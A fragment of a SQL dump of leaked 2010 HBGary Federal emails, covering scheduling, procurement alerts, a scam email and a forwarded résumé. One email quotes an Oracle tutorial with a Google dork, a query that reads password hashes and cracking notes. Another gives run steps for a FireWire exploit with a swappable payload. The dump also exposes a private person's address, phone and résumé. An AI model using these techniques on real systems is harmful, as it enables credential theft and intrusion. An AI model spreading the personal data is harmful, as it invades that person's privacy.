Inc.\r\n\r\n',11363,'aaron_hbgary_com/11363.html'),(5697,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004120.M941149P14101Q552.eml','\"Ted Vera\" <ted@hbgary.com>','I see know mention of nessus really.','http://docs.google.com/viewer?a=v&amp;q=cache:2E0EJ3Y9KZ0J:www.red-database-security.com/wp/backtrack_oracle_tutorial.pdf+pen+testing+oracle+finance+portal&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESiF8KbEdyQ5wt0_ffoGcDBXCT4jJKbWXOIEYGK7XJGOHb91QkBJGjQKikgCJ_ssnwYCbcEdbPzTVTpAtjZR4kOxjiEY2JiKcEGSgGzwPvtJdheBA9_doeZzIaDSMrgotVE8OziD&amp;sig=AHIEtbSgV4iiH_qHW4v0NjFxnM-LZfwdaAWhen the powerful Googlebot crawls a web site it can expose many Oracle-related vulnerabilities and exposures.&nbsp; For example, just run the Google search below to identify dozens of web-sites with a iSQL*Plus interface, the first-step by a hacker who is interested in launching a buffer overflow attack on your Oracle database:&nbsp;http://www.google.com/search?hl=en&amp;lr=&amp;c2coff=1&amp;q=intitle%3AiSQL+intitle%3ARelease+inurl%3Aisqlplus&amp;btnG=Searchf access is through a web front end that is using the PLSQL gateway and SQL can be injected through the web app then this SQL will return the credentials of the Web Application on the back end server.SQL&gt; select name, passwd from sys.EXU8USRU;NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PASSWD------------------------------ ------------------------------WEBAPP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBC326D13AD3FA5CThe attacker could use NGS SQuirreL in offline mode to crack this hash. Or using a local version of Oracle use the following syntax to change the password of their own WEBAPP account to the hash value. This is an easy way to implement the Oracle hashing algorithm as the attacker can now attempt to login as this user at their leisure offline. So the attacker creates the WEBAPP account and gives it the hash that has been gained.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',166,'aaron_hbgary_com/166.html'),(5698,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004121.M148869P14101Q553.eml','\"Ted Vera\" <ted@hbgary.com>','site','http://www.woany.co.uk/oracsec/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3608,'aaron_hbgary_com/3608.html'),(5699,'2010-04-26','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004121.M404206P14101Q554.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch tomorrow.','I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n\r\nAlso, have you been in discussions with Paul Rooney from CSC?\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n\r\n> Irby,\r\n> \r\n> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n> Aaron\r\n> \r\n> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n> \r\n>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>> \r\n>> 		-irby\r\n>> 	\r\n>> \r\n>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>> \r\n>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>> \r\n>>>> 	-Irby\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',13182,'aaron_hbgary_com/13182.html'),(5700,'2010-04-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004121.M620151P14101Q555.eml','\"Vera Ted\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Notes VAPT','One ip externally visible on green. Connects to web cache. Through the\r\nfirewall into the yellow internal network. f5 to f5 cisco Asa fire\r\nwall. Load balanced against application servers. Set up asm negative\r\nsecurity model. Looking for cross site scripting and SQL injection.\r\nLooking to implement a more positive perspective. Model good traffic\r\nand drop anything out of the baseline. Reverse proxies.\r\n\r\nTry a blind study.\r\nTry a test as an authenticated user.\r\n\r\nLike the idea of knowing the level of effort required for an attacker\r\nwho is specifically interested in this target and their data.\r\n\r\n\r\n\r\nSent from my iPad\r\n',14584,'aaron_hbgary_com/14584.html'),(5701,'2010-04-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004127.M692467P14101Q556.eml','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,,','Updated Code','Bill,\r\n\r\nAttached is the updated code, same zip password as last time.  Things of\r\nnote:\r\n\r\nStep 1 is to run \"sudo ./setup.sh\"\r\n\r\nThis will unload the 1394 modules and reload the more exploit friendly\r\noptions\r\n\r\nStep 2 is to run either \"sudo ./fwonce.sh\" or \"sudo ./fwloop.sh\"\r\n\r\nThis will execute the exploit either once or repeatedly in a loop with a\r\npause for a keypress\r\n\r\n64bit systems still launch calc, but we are working to get the user\r\nprovided payload to run.  I\'ll have an update on this later today.\r\n\r\nOnly the 32bit systems should run the file-creating egg\r\n\r\nThe egg is appended during runtime, so replacing the egg2 file with\r\nsomething else will change what runs on the target\r\n\r\nWe haven\'t had any linux kernel locks since we changed to the new kernel\r\nmodule options.\r\n\r\nThere are still occasional firewire timeouts, but this version is much\r\nmore reliable (timeouts occur ~1 out of 20 attempts).  Our script now\r\ndetects the timeout and prompts the user to unplug/reconnect the\r\nfirewire cable, which allows for quick recovery and a successful attack.\r\n\r\nI just sent a draft of the PPT to Martin and Mark and will send it out\r\nto you later this evening for your review comments.  I will probably\r\nneed some time tomorrow to finish up some of the detailed information in\r\nthe charts, and revise based on your feedback.\r\n\r\nI left you a couple of voicemails.  We feel ready to walk you through\r\noperating the new version.  Please let me know when would be a good\r\ntime.  Martin has some time available today, but will be unavailable\r\nTues and Wed, back on Thur or Fri.  Mark and I can accommodate any time\r\nthat is convenient for you.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n',14631,'aaron_hbgary_com/14631.html'),(5702,'2010-04-26','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297004127.M956315P14101Q557.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Updated Code','Just found out I\'m on the red-eye to DC tonight...please get me PPT\r\nasap.  I\'ll review both the PPT and new code on the plane.  I\'ll have to\r\ngo over it with Martin Friday or next week...my schedule is turning\r\nagainst me at this point.  Please help. \r\n\r\nThanks,\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, April 26, 2010 4:08 PM\r\nTo: Thompson, Bill M.\r\nCc: mark.trynor@hbgary.com; Martin Pillion; \'Aaron Barr\'\r\nSubject: Updated Code\r\n\r\nBill,\r\n\r\nAttached is the updated code, same zip password as last time.  Things of\r\nnote:\r\n\r\nStep 1 is to run \"sudo ./setup.sh\"\r\n\r\nThis will unload the 1394 modules and reload the more exploit friendly\r\noptions\r\n\r\nStep 2 is to run either \"sudo ./fwonce.sh\" or \"sudo ./fwloop.sh\"\r\n\r\nThis will execute the exploit either once or repeatedly in a loop with a\r\npause for a keypress\r\n\r\n64bit systems still launch calc, but we are working to get the user\r\nprovided payload to run.  I\'ll have an update on this later today.\r\n\r\nOnly the 32bit systems should run the file-creating egg\r\n\r\nThe egg is appended during runtime, so replacing the egg2 file with\r\nsomething else will change what runs on the target\r\n\r\nWe haven\'t had any linux kernel locks since we changed to the new kernel\r\nmodule options.\r\n\r\nThere are still occasional firewire timeouts, but this version is much\r\nmore reliable (timeouts occur ~1 out of 20 attempts).  Our script now\r\ndetects the timeout and prompts the user to unplug/reconnect the\r\nfirewire cable, which allows for quick recovery and a successful attack.\r\n\r\nI just sent a draft of the PPT to Martin and Mark and will send it out\r\nto you later this evening for your review comments.  I will probably\r\nneed some time tomorrow to finish up some of the detailed information in\r\nthe charts, and revise based on your feedback.\r\n\r\nI left you a couple of voicemails.  We feel ready to walk you through\r\noperating the new version.  Please let me know when would be a good\r\ntime.  Martin has some time available today, but will be unavailable\r\nTues and Wed, back on Thur or Fri.  Mark and I can accommodate any time\r\nthat is convenient for you.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n',8203,'aaron_hbgary_com/8203.html'),(5703,'2010-04-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004128.M169955P14101Q558.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Fwd: RE: CALL OR EMAIL MR. PIERIS DAVIDSON ON ( agntpieriss@hotmail.com ) OR (+44 704 578 7495) FOR CLAIMS','SWEET, I\'m a WINNER!\r\n\r\n-------- Original Message --------\r\nSubject: RE: CALL OR EMAIL MR. PIERIS DAVIDSON ON (\r\nagntpieriss@hotmail.com ) OR (+44 704 578 7495) FOR CLAIMS\r\nDate: Mon, 26 Apr 2010 05:51:15 -0700\r\nFrom: Timothy Palacio \r\nTo: undisclosed-recipients:;\r\n\r\n---------------------------------------------------------------------\r\nDear Esteem Winner,\r\n\r\nCongratulations your email have been selected by the Nokia Promo INC &\r\nCommunications Department, for the sum payout of (£750,000.00) British\r\nPounds and a brand new Nokia E-Series (2010 Model) for the Nokia®\r\nPromotion  International programs held April 5TH 2010 in the London UK\r\nas our Nokia sales promotion .\r\n\r\n=====================\r\nRelease-Claiming-form\r\n=====================\r\n1. Full name..............\r\n2. Contact Address........\r\n3. Age....................\r\n4. Telephone Number.......\r\n5. Marital Status.........\r\n6. Sex....................\r\n7. Zip Code..............\r\n8. Occupation.............\r\n9. Company...............\r\n11.State:.................\r\n12.Country...............\r\n13.Nationality............\r\n\r\nContact your Claims officer.\r\n\r\nMr.Pieris Davidson\r\nNOKIA PROMOTION DEPARTMENT\r\nE-mail:  agntpieriss@hotmail.com\r\nPhone Number: +44 704 578 7495\r\n\r\n',5296,'aaron_hbgary_com/5296.html'),(5704,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004129.M419859P14101Q559.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Do you have any interest in doing what you mentioned on the iPhone or android platforms?  They are osx and linux derivatives after all? :)\r\n\r\nAttached is our NDA.  I can send it in pages format if that would be easier.  Seems even most mac fans still use word, so I default to saving in that format.\r\n\r\nAnother opportunity that might interest you.  We are going to start working with the SecDev guys to help build out some more indepth analysis of threats (Shadownet, etc).  One thing that particularly concerned me.  We have been seeing some malware in a few different engagements that are specifically targeting domains.  Like the other companies actually hard coded into the malware.  A little careless.  But it got me to thinking about what someone could do with an aggregated amount of protected information from multiple companies in a particular domain.\r\n\r\nAs an example,  lets say someone gets proprietary data from a measurable amount of companies in the oil industry.  In aggregate the collector would have something no one else has (supposedly) which is trending data for oil production and demand.  The potential ramifications to profit or to screw with the market is staggering.  Maybe you have already considered this, but I haven\'t thought about the problem in quite this way before.\r\n\r\nAaron\r\n\r\n',8859,'aaron_hbgary_com/8859.html'),(5705,'2010-04-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004129.M687764P14101Q560.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#r85iffrcyruai4wx','---------- Forwarded message ----------From:  &lt;evgolatte@gmail.com&gt;Date: Mon, Apr 26, 2010 at 8:30 PM\r\nSubject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #r85iffrcyruai4wxTo: ted@hbgary.com\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nErick Golatte \r\n3420 Waco st\r\nApt 2\r\nSan Diego, CA  94501\r\nUS\r\nevgolatte@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 240 644 4797  \r\nHome: \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nr85iffrcyruai4wx   Resume Headline: computer informations system with current top secret clearance and sci poly  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nErick V. Golatte\r\n3356 Drayton Ln. San Diego, CA 92123\r\n(240) 644-4797\r\nevgolatte@gmail.com\r\n \r\nRESUME SUMMARY \r\n\r\nUnited States Navy Intelligence and Signals Analyst with ten years experience in both domestic and overseas multi-national operational environments. Used advanced signal analysis and reporting skills focused on early indications and warnings analysis in support of Navy special support program missions. Prepared time-sensitive technical reports for customers deployed in area of responsibility or located at local and remote sites. Developed targets through research, analysis, and reporting. Performed analysis and database research to complete analyst duties.  \r\n \r\nClearance: Top Secret/ Sensitive Compartmented Information (TS/SCI) Security Clearance w/SSBI and Polygraph\r\nLast Security clearance update: Jun, 2008\r\n Position Desired: \r\nGlobal Network Analyst for a Federal Intelligence Agency specializing in Target Exploitation and/or Intelligence Reporting.\r\n PROFESSIONAL EXPERIENCE\r\n \r\n\r\nColeman University, San Diego, CA 2008-PresentJava\r\nObject Oriented Analysis and DesignHTML\r\nXMLCSS\r\n\r\nSQLDatabase Design\r\nC++C#\r\nJavaScriptASP.net\r\nPHP\r\nMYSqlSystem design and implementation\r\n \r\n  \r\n\r\nUSS Bonhomme Richard (LHD 6), San Diego, CA 2006-07/31/2008\r\nManaged the cryptologic efforts of an 11 member watch team. Ensuring the proper utilization of all cryptologist resources during each mission and or AOR change.\r\nOversaw and critiqued the crytologic carry on gear installation process\r\n\r\nTested and critiqued the Seawitch operating system’s effectiveness onboard deployed US vessels. \r\nInitiated target development and nodal analysis of targets of interests in comfithflt AORTrained 4 personnel in target development and nodal analysis procedures.\r\nLead combat direction finding operatorPerform geolocation applications.\r\n\r\nPerform signals analysis using computer based programs. \r\nPerform kleiglight (KL) processing.Perform analog/digital conversions. \r\nPerform STRUM processing and JMCIS and/or GCCS-M unified build\r\noperations and applications. \r\nMeasure spectral characteristics of a sine wave. Calculate decibels as related to power and voltage ratios. \r\nReport COMINT.Classify signals to appropriate designators. \r\nPerform cryptologic support to Information Warfare\r\n\r\n(IW) and Command and Control Warfare (C2W). \r\nPrepare classified material destruction reports.\r\n Perform signals analysis of terrestrial microwave and direct sequence spread spectrum signals. \r\n\r\nPerform fine-grain signals/traffic analysis on COMINT signals. Perform JDISS advanced tactical cryptologic system (JATACS) operations. \r\nDraft CRITIC and Product reports. Implement tasking messages. \r\nIssue STRUM reports. Maintain continuity on threat nation communications. \r\nReport significant tactical I&amp;W data. \r\nShip’s Signal Exploitation Shop’s watch supervisor\r\nSystem administrator for HITS systemSystem administrator for DRT system\r\nSystem administrator for Blackbird/Bushhog system\r\nSystem administrator for Seawitch system\r\n \r\nSupport to Military Operations Center, National Security Agency, Fort George G. Meade, MD, 2003-2006\r\nIndications and Warnings Analyst: Drafted 580 precise tactical and product reports with 96% accuracy using geospatial intelligence, signals analysis, both NTM and commercial satellite imagery, and near real-time tracking applications.\r\n\r\nData Flow Manger: Maintained and monitored complex WAN and LAN data flow systems. Conducted troubleshooting and system maintenance during system failures. \r\nUpdated analytical software for special reports and packages in support of the RUTLEY and SILVERCOMET mission tasking.\r\nMaintains and updates technical libraries and databases of signals to assist in the identification and reporting.\r\nWrote and delivered daily briefs to mission supervisors, watch supervisors, and customers on the past and current mission activities of the area of responsibility/interest.\r\n\r\nCreated RUTLEY system operating manual for the training of every future operator or the RUTLEY system.\r\n \r\nNational Signals Processing Center, National Security Agency, Fort George G. Meade, MD, 2003-2004\r\n\r\nWaveform Signals Analyst: Performed signals analysis and processing on unidentified file-based signals and updates internal databases on collection signals in the national Signals Processing Center (NSPC)\r\nLead shift operator on wideband signals collection system.Expertly analyzed and processed 10,400 digital signals.\r\nUpdated and maintained databases for long-term analysis and collection profiles.\r\n\r\nExtensive troubleshooting during system failures.Shift supervisor for eight sailors. Conducted weekly quarters and ensured all administrative requirements were completed. Coordinated assignment of eight junior division Sailors with mentors.\r\n \r\n \r\nMultimode Systems Operator, Naval Security Group Activity, Overseas Field Site, 1998-2000Provided tactical time sensitive reports and first heard support for forward deployed personnel, with the use of analog, digital and RF receivers.\r\nEstablished and maintained an operator intercept database which maintains continuity of special units of interest within Area of Responsibility. The database allows operators to identify their own targets without the use of the analysis and reporting team, thus shorting the time spent sending reports by a significant amount.\r\n\r\nManaged all training matters for 63 sailors including general military training, advancement in rate criteria, and quarterly safety training.\r\nBecame a Subject Matter Expert for M/M operations. Provided keen insight during five key periods of national heightened interest. \r\nTop producer of technical recoveries with an error rate of less than three percent. Completed over 500 entries into technical database critical to historical and trend analysis.\r\n\r\nPerformed analysis on large quantity of intelligence data for high-profile reporting evolution, which ensured consumers were provided time-sensitive technical information.\r\nSupervised seven-sailor Manual Morse watch section; responsible for maintaining smooth communications and operational capabilities.\r\nPerform computer peripheral equipment, operating systems, word processing software and graphics software manipulation. \r\n\r\nPerform file maintenance, database management and computer systems security procedures. Operate computer systems in an integrated software environment\r\nMark and handle classified material and Sensitive Compartmented Information (SCI) in accordance with security requirements. \r\nPerform routine/emergency destruction of classified/SCI material and security checks of work stations and equipment. Change combination locking devices.\r\nPerform radio wave frequency and wave length conversions. \r\nPerform signal analysis of amplitude, angle, and pulse modulation signals. \r\nPerform radio receiver, oscilloscope, frequency counter, sonograph, and demodulator operations in support of signal analysis.\r\nPerform signals analysis to determine multiplexing schemes, error detection and correction (EDAC) schemes, linear recursive sequences, speech privacy systems, short duration signals, global networking services and basic communications protocols.\r\n\r\nPerform line coding analysis techniques and basic graphic signals analysis. Perform analog, digital, and optical recording operations and traffic analysis of COMINT signals. \r\nPerform spectrum analysis operations. \r\n  \r\n \r\nEDUCATION AND TRAINING\r\n Classes:\r\n \r\n\r\nMCS-21 Increment EHigh Frequency Direction Finding\r\nComputer Information Systems Associates Degree\r\nComputer Programmer ApprenticeshipGeospatial Boot camp\r\n\r\nFirst Class Naval Leadership School Seven Habits for Highly Effective People\r\nOperation Security FundamentalsIntroduction to Operational Information Assurance\r\nSecond Class Naval Leadership SchoolIntermediate Communications Signals Analysis Course (451/9147)\r\n\r\nAdvance Morse Code Interceptor SchoolCryptologic Signals Collection and Processing School (450)\r\nHigh School Diploma\r\n  \r\n\r\nComputer Applications:\r\nARCVIEWOILSTOCK\r\nZIRCONSun Workstation\r\n\r\nUNIXWeb Browsers (Netscape, Explorer)\r\nMS Office SuiteFRAMEMAKER\r\n Databases(OCTAVE, MAINWAY, BANYAN, ANCHORY, PINWALE, HOMEBASE)\r\n \r\n \r\nCommunication Equipment:\r\nAnalog, digital and RF receiversDigital signal processors. \r\nNumerous antenna arrays\r\nMultiple, advanced telecommunications equipment\r\nDRTHITS\r\nCaino/BluestreamBlackbird/Bushhog\r\nSeawitch\r\n \r\n  \r\n \r\n \r\n \r\nAwards:Two Joint Service Achievement Medal\r\nNaval Achievement MedalAir force Outstanding Unit Ribbon\r\n\r\nJoint Meritorious Unit Commendation Medal\r\nThree Good Conduct MedalsNational Defense Medal\r\nGlobal War on Terrorism Expeditionary Medal\r\n \r\n \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nEntry Level\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n7+ to 10 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\n7/10/2006\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 50% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n\r\nLanguages:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nEnglish\r\nFluent\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15379,'aaron_hbgary_com/15379.html'),(5706,'2010-04-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004131.M809364P14101Q561.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: PPT','This is a zip file. Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: April 26, 2010 8:45:48 PM MDTTo: 13 Elements &lt;thirteenelements@hotmail.com&gt;Subject: Re: PPT\r\nAttached in Office 2003.  We&#39;ll plan on Wed.TedOn Mon, Apr 26, 2010 at 8:29 PM, 13 Elements\r\n&lt;thirteenelements@hotmail.com&gt; wrote:crap...I don&#39;t have Office 2007...when Martin gets done tomorrow please send\r\nhere with office 2003 ppt extension instead. I&#39;ll read it tomorrow and testthe laptop stuff tonight.  Please plan on Wed going through the code with\r\nMark via cell phone.Thanks,B\r\nDate: Mon, 26 Apr 2010 18:44:51 -0600From: ted@hbgary.com\r\nTo: thirteenelements@hotmail.com; Bill.Thompson@gd-ais.com\r\nSubject: PPT\r\nBill,Attached are the draft charts. Martin and Mark are writing up some\r\ndetailed info about how the exploit works. File is zipped with same pw\r\nas last time. After you unzip, give it a .pptx extension.\r\nTed\r\n________________________________The New Busy is not the too busy. Combine all your e-mail accounts with\r\nHotmail. Get busy.-- Ted H. VeraPresident | COOHBGary Federal\r\n719-237-8623\r\n',9742,'aaron_hbgary_com/9742.html'),(5707,'2010-04-27','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297004132.M639707P14101Q563.eml','aaron@hbgary.com','Catch up with Conroy','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; wanna schedule something?&nbsp; This Friday looks\r\ngood. \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13880,'aaron_hbgary_com/13880.html'),(5708,'2010-04-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004132.M86601P14101Q562.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: April 27, 2010 2:21:38 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nTuesday, April 27, 2010, 04:16 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 NETWORK SECURITY MONITORING INITIATIVE    Sol. #:                SAQMMA10Q0134    Agency:                U.S. Department of State\r\n    Office:                Office of Logistics Management    Location:              Acquisition Management    Posted On:             Apr 26, 2010 7:51 pm    Base Type:             Combined Synopsis/Solicitation\r\n    Link:                  https://www.fbo.gov/spg/State/A-LM-AQM/A-LM-AQM/SAQMMA10Q0134/listing.html\r\n    -------------------------------------------------------    Title:                 70--Orion Magic Software    Sol. #:                10690J1013\r\n    Agency:                U.S. Department of State    Office:                FedBid.com -- for Department of State procurements only.    Location:              FedBid.com\r\n    Posted On:             Apr 26, 2010 7:38 pm    Current Type:          Presolicitation (Modified)    Base Type:             Presolicitation    Base Posting Date:     Feb 25, 2010 3:33 pm\r\n    Link:                  https://www.fbo.gov/spg/State/FedBid.com/FedBid1/10690J1013/listing.html\r\n    -------------------------------------------------------    Title:                 META-II    Sol. #:                DARPA-BAA-10-59    Agency:                Other Defense Agencies\r\n    Office:                Defense Advanced Research Projects Agency    Location:              Contracts Management Office    Posted On:             Apr 26, 2010 12:47 pm\r\n    Current Type:          Combined Synopsis/Solicitation (Modified)    Base Type:             Combined Synopsis/Solicitation    Base Posting Date:     Apr 15, 2010 12:48 pm\r\n    Link:                  https://www.fbo.gov/spg/ODA/DARPA/CMO/DARPA-BAA-10-59/listing.html\r\n    -------------------------------------------------------\r\n',9733,'aaron_hbgary_com/9733.html'),(5709,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004133.M208141P14101Q564.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Catch up with Conroy','That would be great.  How about late lunch or coffee?  I am up at NSA until 12pm.AaronFrom my iPhoneOn Apr 27, 2010, at 9:06 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron – wanna schedule something?  This Friday looks\r\ngood. \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\nCassie Robinson |\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  |\r\nSuite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone&#39;s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7685,'aaron_hbgary_com/7685.html'),(5710,'2010-04-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004138.M34184P14101Q565.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Catch up with Conroy','From my iPhoneBegin forwarded message:From: &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt;\r\nDate: April 27, 2010 9:06:27 AM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Catch up with Conroy\r\n\r\n\r\n\r\n\r\nAaron – wanna schedule something?  This Friday looks\r\ngood. \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\nCassie Robinson |\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  |\r\nSuite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone&#39;s mouth.\r\n-- Irish Proverb   \r\n\r\n 